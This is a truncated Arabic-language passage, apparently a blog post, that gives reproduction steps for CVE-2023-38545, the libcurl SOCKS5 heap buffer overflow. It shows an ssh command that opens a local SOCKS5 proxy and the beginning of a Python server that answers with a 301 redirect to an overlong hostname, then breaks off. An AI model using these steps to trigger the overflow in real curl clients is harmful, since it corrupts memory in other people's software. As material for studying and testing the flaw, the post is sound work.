إخلاء المسؤولية

هذا المقال مخصص فقط للنقاش التقني والتعلم. أي عواقب مباشرة أو غير مباشرة أو خسائر ناتجة عن استخدام المعلومات المقدمة في هذا المقال يتحملها المستخدم وحده، ولا يتحمل مؤلف المقال أي مسؤولية عنها.

CVE-2023-38545: libcurl-SOCKS5-heap-buffer-overflow

المشروع المرجعي: https://github.com/UTsweetyfish/CVE-2023-38545 إجراء إعادة إنتاج

خطوات إعادة الإنتاج:

1. قم بتشغيل الأمر التالي لفتح خدمة socks5 على المنفذ 10801:```jsx ssh -D 10801 127.0.0.1

1. إنشاء ملف بايثون: server.py، افتح خدمة ويب تعيد استجابة 301 مع hostname طويل جدًا، استمع على المنفذ 8000، ثم نفذ باستخدام python3:```jsx
from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        # 301重定向到超长的URL
        self.send_response(301)

---

Read more